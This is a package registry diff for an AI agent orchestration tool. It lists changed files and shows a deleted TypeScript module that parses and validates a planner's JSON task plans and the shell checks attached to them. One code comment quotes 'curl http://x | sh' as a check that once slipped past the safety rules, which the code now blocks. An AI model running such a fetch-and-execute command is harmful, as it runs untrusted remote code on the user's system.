@omacode/micromanager 0.1.1 → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (213) hide show
  1. package/README.md +7 -4
  2. package/THIRD_PARTY.md +100 -0
  3. package/decider/.python-version +1 -0
  4. package/decider/README.md +35 -0
  5. package/decider/decider/__init__.py +1 -0
  6. package/decider/decider/server.py +327 -0
  7. package/decider/pyproject.toml +34 -0
  8. package/decider/uv.lock +1255 -0
  9. package/dist/agenda.js +51 -0
  10. package/dist/agents.js +58 -0
  11. package/dist/artifact/handoff.js +281 -0
  12. package/dist/ask.js +200 -0
  13. package/dist/backends.js +219 -0
  14. package/dist/backlog.js +414 -0
  15. package/dist/bench.js +427 -0
  16. package/dist/board.js +1 -0
  17. package/dist/brief.js +202 -0
  18. package/dist/browser.js +679 -0
  19. package/dist/budget.js +61 -0
  20. package/dist/catalog.js +187 -0
  21. package/dist/checkchange.js +145 -0
  22. package/dist/checkpoint.js +94 -0
  23. package/dist/cli.js +764 -0
  24. package/dist/comfy-gate.js +258 -0
  25. package/dist/compact.js +142 -0
  26. package/dist/config.js +344 -0
  27. package/dist/context/capture.js +1 -0
  28. package/dist/context/digest.js +1 -0
  29. package/dist/context/embed.js +1 -0
  30. package/dist/context/index.js +2 -0
  31. package/dist/context/ledger.js +1 -0
  32. package/dist/context/manager.js +1 -0
  33. package/dist/context/memory.js +1 -0
  34. package/dist/context/policy.js +1 -0
  35. package/dist/context/prices.js +1 -0
  36. package/dist/context/recall.js +1 -0
  37. package/dist/context/rules.js +1 -0
  38. package/dist/context/search.js +1 -0
  39. package/dist/context/status.js +1 -0
  40. package/dist/context/store.js +1 -0
  41. package/dist/context/summary.js +1 -0
  42. package/dist/context/tokens.js +1 -0
  43. package/dist/context/tools.js +1 -0
  44. package/dist/continuation.js +184 -0
  45. package/dist/contract.js +294 -0
  46. package/dist/contractround.js +178 -0
  47. package/dist/control.js +1 -0
  48. package/dist/creative-tools.js +237 -0
  49. package/dist/dataset.js +175 -0
  50. package/dist/decide.js +676 -0
  51. package/dist/decider.js +171 -0
  52. package/dist/design-shell.js +448 -0
  53. package/dist/design.js +1410 -0
  54. package/dist/desktop.js +44 -0
  55. package/dist/egress.js +156 -0
  56. package/dist/eval.js +60 -0
  57. package/dist/evolver.js +302 -0
  58. package/dist/features.js +193 -0
  59. package/dist/followups.js +32 -0
  60. package/dist/forms.js +195 -0
  61. package/dist/gate.js +108 -0
  62. package/dist/gatebox.js +46 -0
  63. package/dist/grants.js +189 -0
  64. package/dist/graph.js +65 -0
  65. package/dist/guard/index.js +1 -0
  66. package/dist/guard/wire.js +1 -0
  67. package/dist/helpers.js +85 -0
  68. package/dist/hooks.js +158 -0
  69. package/dist/image-models.js +117 -0
  70. package/{src/integration.ts → dist/integration.js} +1 -2
  71. package/dist/journal.js +1 -0
  72. package/dist/look.js +363 -0
  73. package/dist/memory.js +1 -0
  74. package/dist/mode.js +97 -0
  75. package/dist/native.js +3348 -0
  76. package/dist/nogit.js +259 -0
  77. package/dist/outcomes.js +148 -0
  78. package/dist/permission.js +35 -0
  79. package/dist/pick.js +89 -0
  80. package/dist/pipelines.js +262 -0
  81. package/dist/plan.js +641 -0
  82. package/dist/plandoc.js +211 -0
  83. package/dist/plugin.js +4736 -0
  84. package/dist/policy.js +58 -0
  85. package/dist/pools.js +1 -0
  86. package/dist/preview.js +274 -0
  87. package/dist/profile.js +165 -0
  88. package/dist/progress.js +1 -0
  89. package/dist/promote.js +313 -0
  90. package/dist/redact.js +1 -0
  91. package/dist/registry.js +179 -0
  92. package/dist/riskscore.js +126 -0
  93. package/dist/roles.js +1 -0
  94. package/dist/routing.js +1 -0
  95. package/dist/runner.js +1892 -0
  96. package/{src/sandbox.ts → dist/sandbox.js} +1 -2
  97. package/dist/sandboxgate.js +90 -0
  98. package/dist/scheduler.js +170 -0
  99. package/dist/services-main.js +131 -0
  100. package/dist/services.js +265 -0
  101. package/dist/session.js +241 -0
  102. package/dist/setup.js +423 -0
  103. package/dist/shell/decide.js +1 -0
  104. package/dist/shell/index.js +2 -0
  105. package/dist/shell/sandbox.js +1 -0
  106. package/dist/shell/wire.js +1 -0
  107. package/dist/skills.js +103 -0
  108. package/dist/state.js +1 -0
  109. package/dist/store.js +1 -0
  110. package/dist/switcher.js +1 -0
  111. package/dist/synth.js +418 -0
  112. package/dist/tools.js +477 -0
  113. package/dist/trials.js +223 -0
  114. package/dist/usage.js +1 -0
  115. package/dist/wait.js +167 -0
  116. package/dist/watchdog.js +476 -0
  117. package/dist/web-guidance.js +43 -0
  118. package/dist/which.js +20 -0
  119. package/dist/worktree/git.js +545 -0
  120. package/dist/writeguard.js +311 -0
  121. package/package.json +36 -17
  122. package/skills/deck/SKILL.md +98 -0
  123. package/skills/design/SKILL.md +150 -0
  124. package/skills/image/SKILL.md +66 -0
  125. package/skills/orchestrator/SKILL.md +107 -0
  126. package/skills/video/SKILL.md +97 -0
  127. package/skills/web/SKILL.md +60 -0
  128. package/src/agenda.ts +0 -56
  129. package/src/agents.ts +0 -74
  130. package/src/ask.ts +0 -243
  131. package/src/backends.ts +0 -144
  132. package/src/backlog.ts +0 -436
  133. package/src/bench.ts +0 -163
  134. package/src/board.ts +0 -1
  135. package/src/brief.ts +0 -151
  136. package/src/browser.ts +0 -624
  137. package/src/budget.ts +0 -73
  138. package/src/catalog.ts +0 -214
  139. package/src/checkchange.ts +0 -180
  140. package/src/checkpoint.ts +0 -99
  141. package/src/cli.ts +0 -117
  142. package/src/compact.ts +0 -162
  143. package/src/config.ts +0 -340
  144. package/src/context/capture.ts +0 -1
  145. package/src/context/digest.ts +0 -1
  146. package/src/context/embed.ts +0 -1
  147. package/src/context/index.ts +0 -2
  148. package/src/context/ledger.ts +0 -1
  149. package/src/context/manager.ts +0 -1
  150. package/src/context/memory.ts +0 -1
  151. package/src/context/policy.ts +0 -1
  152. package/src/context/prices.ts +0 -1
  153. package/src/context/recall.ts +0 -1
  154. package/src/context/rules.ts +0 -1
  155. package/src/context/search.ts +0 -1
  156. package/src/context/status.ts +0 -1
  157. package/src/context/store.ts +0 -1
  158. package/src/context/summary.ts +0 -1
  159. package/src/context/tokens.ts +0 -1
  160. package/src/context/tools.ts +0 -1
  161. package/src/continuation.ts +0 -122
  162. package/src/contract.ts +0 -342
  163. package/src/contractround.ts +0 -225
  164. package/src/control.ts +0 -1
  165. package/src/dataset.ts +0 -133
  166. package/src/decide.ts +0 -690
  167. package/src/eval.ts +0 -66
  168. package/src/evolver.ts +0 -369
  169. package/src/followups.ts +0 -50
  170. package/src/forms.ts +0 -191
  171. package/src/gate.ts +0 -90
  172. package/src/grants.ts +0 -239
  173. package/src/graph.ts +0 -74
  174. package/src/guard/index.ts +0 -1
  175. package/src/guard/wire.ts +0 -1
  176. package/src/helpers.ts +0 -105
  177. package/src/hooks.ts +0 -199
  178. package/src/jev.ts +0 -141
  179. package/src/journal.ts +0 -1
  180. package/src/look.ts +0 -390
  181. package/src/memory.ts +0 -1
  182. package/src/native.ts +0 -2455
  183. package/src/nogit.ts +0 -112
  184. package/src/outcomes.ts +0 -210
  185. package/src/pick.ts +0 -112
  186. package/src/pipelines.ts +0 -252
  187. package/src/plan.ts +0 -449
  188. package/src/plugin.ts +0 -3187
  189. package/src/policy.ts +0 -84
  190. package/src/pools.ts +0 -1
  191. package/src/profile.ts +0 -186
  192. package/src/progress.ts +0 -1
  193. package/src/redact.ts +0 -1
  194. package/src/registry.ts +0 -207
  195. package/src/roles.ts +0 -1
  196. package/src/routing.ts +0 -1
  197. package/src/runner.ts +0 -1506
  198. package/src/scheduler.ts +0 -200
  199. package/src/session.ts +0 -269
  200. package/src/shell/decide.ts +0 -1
  201. package/src/shell/index.ts +0 -2
  202. package/src/shell/sandbox.ts +0 -1
  203. package/src/shell/wire.ts +0 -1
  204. package/src/skills.ts +0 -111
  205. package/src/state.ts +0 -1
  206. package/src/store.ts +0 -1
  207. package/src/switcher.ts +0 -1
  208. package/src/tools.ts +0 -480
  209. package/src/trials.ts +0 -247
  210. package/src/usage.ts +0 -1
  211. package/src/wait.ts +0 -180
  212. package/src/watchdog.ts +0 -498
  213. package/src/worktree/git.ts +0 -378
package/src/plan.ts DELETED
@@ -1,449 +0,0 @@
1
- // The planner subagent's plan: parsed from its final message, validated by code, turned into tasks
2
- // (design.md §7). The planner writes; code decides whether the plan is usable.
3
-
4
- import { hardRule, readsOnly } from "./decide.ts"
5
- import { MICROMANAGER, roleById } from "./roles.ts"
6
- import { DEFAULT_PRIORITY, isDone, type Acceptance, type FollowUp, type Job, type Task } from "./state.ts"
7
-
8
- export interface PlannedTask {
9
- readonly id: string
10
- readonly title: string
11
- readonly description: string
12
- readonly role: string
13
- readonly acceptance: readonly string[]
14
- readonly dependsOn: readonly string[]
15
- readonly files: readonly string[]
16
- readonly parent?: string // the task it was split from (N4)
17
- readonly priority?: number // 1 (first) .. 5 (last)
18
- }
19
-
20
- export interface Plan {
21
- readonly acceptance: readonly Acceptance[]
22
- readonly tasks: readonly PlannedTask[]
23
- }
24
-
25
- export type Parsed = { readonly plan: Plan; readonly errors?: undefined } | { readonly plan?: undefined; readonly errors: string[] }
26
-
27
- // Roles that change files must declare what they write, so parallel safety and review have a scope.
28
- const WRITERS = new Set(["code", "test", "visual", "write", "debug"])
29
- const ID = /^[A-Za-z][\w.-]{0,31}$/
30
-
31
- // The JSON object in the message: the last ```json fence, else the outermost {...}.
32
- export function extractJson(text: string): string | undefined {
33
- const fences = [...text.matchAll(/```(?:json)?\s*\n([\s\S]*?)```/g)].map((m) => m[1] ?? "")
34
- const fenced = fences.reverse().find((f) => f.trim().startsWith("{"))
35
- if (fenced) return fenced
36
- const start = text.indexOf("{")
37
- const end = text.lastIndexOf("}")
38
- return start >= 0 && end > start ? text.slice(start, end + 1) : undefined
39
- }
40
-
41
- const strings = (v: unknown): string[] | undefined =>
42
- Array.isArray(v) && v.every((x) => typeof x === "string") ? (v as string[]) : undefined
43
-
44
- export function parsePlan(text: string): Parsed {
45
- const json = extractJson(text)
46
- if (!json) return { errors: ["no JSON object found"] }
47
- let raw: { acceptance?: unknown; tasks?: unknown }
48
- try {
49
- raw = JSON.parse(json)
50
- } catch (err) {
51
- return { errors: [`invalid JSON: ${err instanceof Error ? err.message : String(err)}`] }
52
- }
53
- const errors: string[] = []
54
- if (!Array.isArray(raw.acceptance) || raw.acceptance.length === 0) errors.push("acceptance: a non-empty list is required")
55
- const acceptance = parseAcceptance(raw.acceptance, errors)
56
- if (!Array.isArray(raw.tasks) || raw.tasks.length === 0) errors.push("tasks: a non-empty list is required")
57
- const tasks = parseTasks(raw.tasks, errors)
58
- errors.push(...checkGraph(acceptance, tasks))
59
- return errors.length > 0 ? { errors } : { plan: { acceptance, tasks } }
60
- }
61
-
62
- function parseTasks(raw: unknown, errors: string[]): PlannedTask[] {
63
- const tasks: PlannedTask[] = []
64
- for (const [i, t] of (Array.isArray(raw) ? raw : []).entries()) {
65
- const item = t as Record<string, unknown>
66
- const where = `tasks[${i}]${typeof item.id === "string" ? ` (${item.id})` : ""}`
67
- const acc = strings(item.acceptance ?? [])
68
- const deps = strings(item.dependsOn ?? [])
69
- const files = strings(item.files ?? [])
70
- if (typeof item.id !== "string" || !ID.test(item.id)) errors.push(`${where}: needs an id (letters, digits, . _ -)`)
71
- if (typeof item.title !== "string" || !item.title.trim()) errors.push(`${where}: needs a title`)
72
- if (typeof item.role !== "string" || !roleById(item.role)) errors.push(`${where}: unknown role ${JSON.stringify(item.role)}`)
73
- if (!acc || !deps || !files) errors.push(`${where}: acceptance, dependsOn and files must be lists of strings`)
74
- if (typeof item.id !== "string" || typeof item.title !== "string" || typeof item.role !== "string" || !acc || !deps || !files) continue
75
- tasks.push({
76
- id: item.id,
77
- title: item.title,
78
- description: typeof item.description === "string" ? item.description : "",
79
- role: item.role,
80
- acceptance: acc,
81
- dependsOn: deps,
82
- files,
83
- ...(typeof item.priority === "number" && item.priority >= 1 && item.priority <= 5 ? { priority: Math.round(item.priority) } : {}),
84
- })
85
- }
86
- return tasks
87
- }
88
-
89
- function parseAcceptance(raw: unknown, errors: string[]): Acceptance[] {
90
- const out: Acceptance[] = []
91
- for (const [i, a] of (Array.isArray(raw) ? raw : []).entries()) {
92
- const item = a as { id?: unknown; text?: unknown; verify?: unknown }
93
- if (typeof item.id !== "string" || !ID.test(item.id) || typeof item.text !== "string" || !item.text.trim()) {
94
- errors.push(`acceptance[${i}]: needs an id and a text`)
95
- continue
96
- }
97
- out.push({ id: item.id, text: item.text, verify: typeof item.verify === "string" && item.verify.trim() ? item.verify : undefined })
98
- }
99
- return out
100
- }
101
-
102
- function checkGraph(acceptance: readonly Acceptance[], tasks: readonly PlannedTask[]): string[] {
103
- const errors: string[] = []
104
- const ids = new Set<string>()
105
- for (const t of tasks) {
106
- if (ids.has(t.id)) errors.push(`task ${t.id}: duplicate id`)
107
- ids.add(t.id)
108
- }
109
- const accIds = new Set(acceptance.map((a) => a.id))
110
- if (accIds.size !== acceptance.length) errors.push("acceptance: duplicate id")
111
- const covered = new Set<string>()
112
- for (const t of tasks) {
113
- for (const d of t.dependsOn) if (!ids.has(d)) errors.push(`task ${t.id}: depends on unknown task ${d}`)
114
- for (const a of t.acceptance) {
115
- if (!accIds.has(a)) errors.push(`task ${t.id}: unknown acceptance point ${a}`)
116
- covered.add(a)
117
- }
118
- if (t.acceptance.length === 0) errors.push(`task ${t.id}: needs at least one acceptance point`)
119
- if (WRITERS.has(t.role) && t.files.length === 0) errors.push(`task ${t.id}: role ${t.role} writes, so it must declare files`)
120
- }
121
- for (const a of acceptance) if (!covered.has(a.id)) errors.push(`acceptance ${a.id}: no task covers it`)
122
- const cycle = findCycle(tasks)
123
- if (cycle) errors.push(`dependency cycle: ${cycle.join(" -> ")}`)
124
- return errors
125
- }
126
-
127
- function findCycle(tasks: readonly PlannedTask[]): string[] | undefined {
128
- const deps = new Map(tasks.map((t) => [t.id, t.dependsOn]))
129
- const state = new Map<string, "visiting" | "done">()
130
- const path: string[] = []
131
- const visit = (id: string): string[] | undefined => {
132
- if (state.get(id) === "done") return undefined
133
- if (state.get(id) === "visiting") return [...path.slice(path.indexOf(id)), id]
134
- state.set(id, "visiting")
135
- path.push(id)
136
- for (const d of deps.get(id) ?? []) {
137
- if (!deps.has(d)) continue
138
- const found = visit(d)
139
- if (found) return found
140
- }
141
- path.pop()
142
- state.set(id, "done")
143
- return undefined
144
- }
145
- for (const t of tasks) {
146
- const found = visit(t.id)
147
- if (found) return found
148
- }
149
- return undefined
150
- }
151
-
152
- // Wave = length of the longest dependency chain below a task; tasks of one wave may run in parallel.
153
- export function waves(tasks: readonly PlannedTask[]): Map<string, number> {
154
- const deps = new Map(tasks.map((t) => [t.id, t.dependsOn]))
155
- const memo = new Map<string, number>()
156
- const wave = (id: string): number => {
157
- const known = memo.get(id)
158
- if (known !== undefined) return known
159
- const w = Math.max(0, ...(deps.get(id) ?? []).map((d) => wave(d) + 1))
160
- memo.set(id, w)
161
- return w
162
- }
163
- return new Map(tasks.map((t) => [t.id, wave(t.id)]))
164
- }
165
-
166
- // Puts a validated plan into the job: acceptance points and pending tasks.
167
- export function applyPlan(job: Job, plan: Plan): void {
168
- const w = waves(plan.tasks)
169
- job.acceptance = [...plan.acceptance]
170
- job.tasks = plan.tasks.map((t): Task => ({
171
- id: t.id,
172
- title: t.title,
173
- description: t.description,
174
- role: t.role,
175
- acceptance: [...t.acceptance],
176
- dependsOn: [...t.dependsOn],
177
- files: [...t.files],
178
- wave: w.get(t.id) ?? 0,
179
- ...(t.parent ? { parent: t.parent } : {}),
180
- priority: t.priority ?? DEFAULT_PRIORITY,
181
- origin: t.parent ? "split" : "plan",
182
- status: "pending",
183
- attempts: 0,
184
- stages: [],
185
- signatures: [],
186
- }))
187
- }
188
-
189
- // What the planner is told to return; kept next to the parser so both change together.
190
- export const PLAN_FORMAT = `Answer with one JSON object in a \`\`\`json fence, nothing else after it:
191
- {
192
- "acceptance": [{ "id": "A1", "text": "what must hold", "verify": "a shell command that exits 0 when it holds (optional)" }],
193
- "tasks": [{
194
- "id": "T1",
195
- "title": "short title",
196
- "description": "what to do, for a worker that knows nothing else",
197
- "role": "explore | research | plan | code | test | visual | write | debug | review | oracle",
198
- "acceptance": ["A1"],
199
- "dependsOn": [],
200
- "files": ["paths this task may change; empty for read-only roles"],
201
- "priority": 3
202
- }]
203
- }
204
- Rules: use the fewest independently verifiable tasks—do not split one coherent artifact merely to make tasks smaller;
205
- every acceptance point is covered by a task; a task that changes files lists them; no dependency cycles.
206
- Priority is 1 (do first) to 5 (do last), 3 when nothing stands out; among ready tasks the lower number runs first.`
207
-
208
- // --- N4: splitting tasks (design.md §7) -------------------------------------------------------------------
209
-
210
- export const MAX_SPLIT_LEVEL = 2
211
-
212
- export function splitFormat(ids: readonly string[]): string {
213
- return `Split these tasks into smaller ones: ${ids.join(", ")}.
214
- Answer with one JSON object in a \`\`\`json fence, nothing else after it:
215
- {
216
- "acceptance": [{ "id": "A7", "text": "...", "verify": "..." }],
217
- "splits": { "${ids[0] ?? "T1"}": [{ "id": "${ids[0] ?? "T1"}.1", "title": "...", "description": "...", "role": "...", "acceptance": ["A1"], "dependsOn": [], "files": ["..."] }] }
218
- }
219
- Rules: each split task becomes at least two tasks with ids "<task>.1", "<task>.2", …; each is a vertical slice with its
220
- own acceptance point (reuse the task's points or add new ones under "acceptance"), changes only files of the task it
221
- comes from, and may depend on its siblings and on the tasks the original depended on. Together they cover all of the
222
- original's acceptance points. Do not split a task when the parts could only be checked together.`
223
- }
224
-
225
- // Puts the planner's splits into the plan: children replace their parent, tasks that waited for the parent wait for
226
- // its last children. Code re-validates the whole graph.
227
- export function applySplits(plan: Plan, text: string, asked: readonly string[]): Parsed {
228
- const json = extractJson(text)
229
- if (!json) return { errors: ["no JSON object found"] }
230
- let raw: { acceptance?: unknown; splits?: unknown }
231
- try {
232
- raw = JSON.parse(json)
233
- } catch (err) {
234
- return { errors: [`invalid JSON: ${err instanceof Error ? err.message : String(err)}`] }
235
- }
236
- const errors: string[] = []
237
- const added = parseAcceptance(raw.acceptance, errors)
238
- const splits = raw.splits && typeof raw.splits === "object" ? (raw.splits as Record<string, unknown>) : {}
239
- const children = new Map<string, PlannedTask[]>()
240
- for (const [parentId, list] of Object.entries(splits)) {
241
- const parent = plan.tasks.find((t) => t.id === parentId)
242
- if (!parent || !asked.includes(parentId)) {
243
- errors.push(`splits.${parentId}: not one of the tasks to split`)
244
- continue
245
- }
246
- const kidErrors: string[] = []
247
- const kids = parseTasks(list, kidErrors)
248
- errors.push(...kidErrors.map((e) => `splits.${parentId}: ${e}`))
249
- if (!Array.isArray(list) || list.length < 2) errors.push(`splits.${parentId}: a split needs at least two tasks`)
250
- for (const k of kids) {
251
- if (!k.id.startsWith(`${parentId}.`)) errors.push(`splits.${parentId}: ${k.id} must be named ${parentId}.<n>`)
252
- if (parent.files.length && k.files.some((f) => !parent.files.includes(f))) errors.push(`splits.${parentId}: ${k.id} changes files outside ${parentId}'s`)
253
- }
254
- const covered = new Set(kids.flatMap((k) => k.acceptance))
255
- for (const a of parent.acceptance) if (!covered.has(a)) errors.push(`splits.${parentId}: no part covers ${a}`)
256
- if (kids.length >= 2 && kids.every((k) => k.files.join() === kids[0]!.files.join() && k.acceptance.join() === kids[0]!.acceptance.join())) {
257
- errors.push(`splits.${parentId}: the parts share files and acceptance points, so the split only adds coordination`)
258
- }
259
- children.set(parentId, kids)
260
- }
261
- if (errors.length) return { errors }
262
- // The last children of a split: the ones no sibling depends on.
263
- const sinks = (id: string) => {
264
- const kids = children.get(id)!
265
- return kids.filter((k) => !kids.some((o) => o.dependsOn.includes(k.id))).map((k) => k.id)
266
- }
267
- const rewire = (deps: readonly string[]) => deps.flatMap((d) => (children.has(d) ? sinks(d) : [d]))
268
- const tasks = plan.tasks.flatMap((t) =>
269
- children.has(t.id)
270
- ? children.get(t.id)!.map((k) => ({ ...k, parent: t.id, dependsOn: [...new Set([...rewire(k.dependsOn), ...rewire(t.dependsOn)])] }))
271
- : [{ ...t, dependsOn: rewire(t.dependsOn) }],
272
- )
273
- const acceptance = [...plan.acceptance, ...added]
274
- const graph = checkGraph(acceptance, tasks)
275
- return graph.length ? { errors: graph } : { plan: { acceptance, tasks } }
276
- }
277
-
278
- // --- N7: a worker's follow-up becomes a task (design.md §8) --------------------------------------------------
279
-
280
- // The task a follow-up becomes: a code task on the files it names, with its own acceptance point, after the task
281
- // that found it. Code builds it (no planner call); N5 classifies it like any other task when it is dispatched.
282
- // Returns the errors instead when the job's graph would break.
283
- export function addDiscovered(job: Job, from: Task, item: FollowUp, priority: number): { task?: Task; errors?: string[] } {
284
- const n = job.tasks.filter((t) => t.id.startsWith(`${from.id}.d`)).length + 1
285
- const point = `A${Math.max(0, ...job.acceptance.map((a) => Number(a.id.match(/^A(\d+)$/)?.[1] ?? 0))) + 1}`
286
- const task: Task = {
287
- id: `${from.id}.d${n}`,
288
- title: item.what.slice(0, 120),
289
- description: `Found while doing ${from.id} (${from.title}): ${item.what}. Why: ${item.why}`,
290
- role: "code",
291
- acceptance: [point],
292
- dependsOn: [from.id],
293
- files: [...item.files],
294
- wave: from.wave + 1,
295
- status: "pending",
296
- attempts: 0,
297
- stages: [],
298
- signatures: [],
299
- priority,
300
- origin: "discovered",
301
- }
302
- const acceptance = [...job.acceptance, { id: point, text: item.what }]
303
- const errors = checkGraph(acceptance, [...job.tasks.map(asPlanned), asPlanned(task)])
304
- if (errors.length) return { errors }
305
- job.acceptance = acceptance
306
- job.tasks.push(task)
307
- return { task }
308
- }
309
-
310
- const asPlanned = (t: Task): PlannedTask => ({ id: t.id, title: t.title, description: t.description, role: t.role, acceptance: t.acceptance, dependsOn: t.dependsOn, files: t.files })
311
-
312
- // --- replan (design.md §10.2, Magentic-One) -----------------------------------------------------------------
313
-
314
- export function replanFormat(job: Job): string {
315
- const done = job.tasks.filter(isDone)
316
- const open = job.tasks.filter((t) => !isDone(t) && t.status !== "cancelled")
317
- return `The job is stalled. Rewrite the unfinished part of the plan.
318
-
319
- Done (keep, do not repeat; new tasks may depend on them): ${done.map((t) => `${t.id} ${t.title}`).join("; ") || "none"}
320
- Unfinished (these are replaced by your tasks):
321
- ${open.map((t) => `- ${t.id} [${t.role}] ${t.title} (${t.status}${t.stages.length ? `; last: ${t.stages.at(-1)!.stage} ${t.stages.at(-1)!.result}${t.stages.at(-1)!.evidence ? `: ${t.stages.at(-1)!.evidence!.slice(0, 200)}` : ""}` : ""})`).join("\n") || "- none"}
322
- What went wrong so far: ${job.lessons.slice(-5).join("; ") || "nothing recorded"}
323
- Acceptance points: ${job.acceptance.map((a) => `${a.id}: ${a.text}${a.verify ? ` (verify: ${a.verify})` : ""}`).join("; ")}
324
-
325
- First find the root cause of the stall from the facts above; then plan around it, e.g. a smaller step, another
326
- order, or a task that removes the obstacle. Use new task ids that are not used yet; you may add acceptance points with
327
- new ids, and keep the verify commands of existing ones.
328
- ${PLAN_FORMAT.replace('"acceptance": [{', '"acceptance": [(only new points) {')}`
329
- }
330
-
331
- // Replaces the unfinished tasks with the planner's new ones; done tasks and their commits stay. The old unfinished
332
- // tasks are cancelled, so their history stays in the job file.
333
- export function applyReplan(job: Job, text: string): Parsed {
334
- const json = extractJson(text)
335
- if (!json) return { errors: ["no JSON object found"] }
336
- let raw: { acceptance?: unknown; tasks?: unknown }
337
- try {
338
- raw = JSON.parse(json)
339
- } catch (err) {
340
- return { errors: [`invalid JSON: ${err instanceof Error ? err.message : String(err)}`] }
341
- }
342
- const errors: string[] = []
343
- const added = parseAcceptance(raw.acceptance ?? [], errors).filter((a) => !job.acceptance.some((x) => x.id === a.id))
344
- if (!Array.isArray(raw.tasks) || raw.tasks.length === 0) errors.push("tasks: a non-empty list is required")
345
- const fresh = parseTasks(raw.tasks, errors)
346
- const used = new Set(job.tasks.map((t) => t.id))
347
- for (const t of fresh) if (used.has(t.id)) errors.push(`task ${t.id}: id already used; pick a new one`)
348
- const done = job.tasks.filter(isDone).map(asPlanned)
349
- const acceptance = [...job.acceptance, ...added]
350
- errors.push(...checkGraph(acceptance, [...done, ...fresh]))
351
- return errors.length ? { errors } : { plan: { acceptance, tasks: fresh } }
352
- }
353
-
354
- // --- delegated tasks (omo-hybrid): the orchestrator adds one task at a time to its session's rolling job ---------
355
-
356
- export interface Delegation {
357
- readonly title: string
358
- readonly prompt: string
359
- readonly files: readonly string[] // what the task may change; empty for a reader
360
- readonly dependsOn: readonly string[]
361
- readonly priority?: number
362
- readonly checks: readonly string[] // shell commands that exit 0 when the task is done
363
- }
364
-
365
- // The task a delegation becomes: a code task when it names files, an explore task when not (N5 may pick another role
366
- // when it is dispatched); its checks are its acceptance point. Returns the errors instead when the graph would break.
367
- export function addDelegated(job: Job, d: Delegation): { task?: Task; errors?: string[] } {
368
- const n = Math.max(0, ...job.tasks.map((t) => Number(t.id.match(/^T(\d+)$/)?.[1] ?? 0))) + 1
369
- const point = `A${Math.max(0, ...job.acceptance.map((a) => Number(a.id.match(/^A(\d+)$/)?.[1] ?? 0))) + 1}`
370
- const byId = new Map(job.tasks.map((t) => [t.id, t]))
371
- const task: Task = {
372
- id: `T${n}`,
373
- title: d.title.slice(0, 120),
374
- description: d.prompt,
375
- role: d.files.length ? "code" : "explore",
376
- acceptance: [point],
377
- dependsOn: [...d.dependsOn],
378
- files: [...d.files],
379
- wave: Math.max(-1, ...d.dependsOn.map((id) => byId.get(id)?.wave ?? 0)) + 1,
380
- status: "pending",
381
- attempts: 0,
382
- stages: [],
383
- signatures: [],
384
- priority: d.priority !== undefined && d.priority >= 1 && d.priority <= 5 ? Math.round(d.priority) : DEFAULT_PRIORITY,
385
- origin: "delegated",
386
- }
387
- const acceptance = [...job.acceptance, { id: point, text: d.title, ...(d.checks.length ? { verify: d.checks.join(" && ") } : {}) }]
388
- const errors = checkGraph(acceptance, [...job.tasks.map(asPlanned), asPlanned(task)])
389
- if (errors.length) return { errors }
390
- job.acceptance = acceptance
391
- job.tasks.push(task)
392
- return { task }
393
- }
394
-
395
- // A check must be a shell command (live test: the orchestrator passed "Run `npm test` from the project root; it must
396
- // pass ..." as a check, which no worker could ever make exit 0). Returns why a check is not one.
397
- export function checkProblem(check: string): string | undefined {
398
- const c = check.trim()
399
- if (/`/.test(c)) return `"${c.slice(0, 80)}" has backticks: give the command itself, e.g. npm test`
400
- if (/^(run|ensure|make sure|check|verify|confirm|the|it|all|tests?)\b/i.test(c) && !/^test\s+-/.test(c)) return `"${c.slice(0, 80)}" reads like a sentence: give a shell command that exits 0 when the task is done, e.g. npm test`
401
- if (/[.!?]$/.test(c) && /\s\w+\s\w+\s\w+\s/.test(c)) return `"${c.slice(0, 80)}" reads like a sentence: give a shell command, e.g. npm test`
402
- return undefined
403
- }
404
-
405
- // Why a check must not run, beyond being a command at all. A check is a model-written string that runGate hands to
406
- // `sh -c`, so the same questions apply to it that the permission path asks of a shell request: is this destructive or
407
- // irreversible? The gate bypassed decide.ts entirely, so a check like "curl http://x | sh" was a valid plan and ran.
408
- // Reusing hardRule rather than a second list keeps one set of rules; a check and a permission request are the same
409
- // kind of thing, which is why it took a live run to notice they were treated differently.
410
- export function checkSafetyProblem(check: string, agent = MICROMANAGER.agent): string | undefined {
411
- return hardRule({ action: "shell", agent, resources: [check.trim()], sessionID: "" })
412
- }
413
-
414
- // What a check set must be, beyond each command being one: a writer needs at least one, and each one has to survive
415
- // the same hard rules as a shell permission request (a check is a model-written string runGate hands to `sh -c`).
416
- // A reader has no checks at all and is unaffected.
417
- export function checkSetProblems(checks: readonly string[], writer: boolean): string | undefined {
418
- const why = checks.map(checkProblem).find(Boolean)
419
- if (why) return why
420
- if (!writer) return undefined
421
- if (checks.length === 0) {
422
- return "a task that changes files needs a Checks line: one shell command that exits 0 when it is done (e.g. npm test). Without it nothing can tell a finished task from an untouched tree."
423
- }
424
- const unsafe = checks.map((c) => checkSafetyProblem(c)).find(Boolean)
425
- return unsafe
426
- }
427
-
428
- // A check is not required to be able to fail. `test -f a.js` reads nothing but fails when the work is missing, which
429
- // is exactly what it is for, and refusing it would refuse the commonest check there is. What the gate needs instead is
430
- // evidence that the task actually changed something, and that is asked where it can be answered truthfully: at the
431
- // gate, against the worktree's real diff. See the changed-files check in runner.ts (#work) and native.ts (#finish).
432
- // (This was tried as a rule on the check text and removed: every test run is a "read" by readsOnly -- it changes no
433
- // project file -- so the rule either refused `npm test` or had to guess at intent from a command name.)
434
-
435
- // The files of a delegation: project-relative paths, comma or space separated; "none" or empty for a reader. Returns
436
- // why not otherwise (live test: "none (read-only; only /tmp/... may be written)" became six pseudo-files, and two
437
- // readers that shared the file "none" could not run side by side).
438
- export function parseFiles(text: string, project: string): { files: string[]; problem?: string } {
439
- const t = text.trim()
440
- if (!t || /^(none|-|n\/a|no files?)$/i.test(t)) return { files: [] }
441
- const words = t.split(/[,\s]+/).filter(Boolean)
442
- const bad = words.filter((w) => !/^[\w./@+-]+$/.test(w) || /^(none|read-only|only|may|be|written)$/i.test(w))
443
- if (bad.length) return { files: [], problem: `files must be paths in the project, comma separated, or empty for a task that changes nothing (not: ${bad.slice(0, 4).join(" ")})` }
444
- const prefix = project.replace(/\/+$/, "") + "/"
445
- const files = words.map((w) => (w.startsWith(prefix) ? w.slice(prefix.length) : w)).map((w) => w.replace(/^\.\//, ""))
446
- const outside = files.filter((f) => f.startsWith("/") || f.startsWith("..") || f.startsWith("~"))
447
- if (outside.length) return { files: [], problem: `files must be inside the project: ${outside.join(", ")}. A task that only reads reports what it found; you read it with list_tasks.` }
448
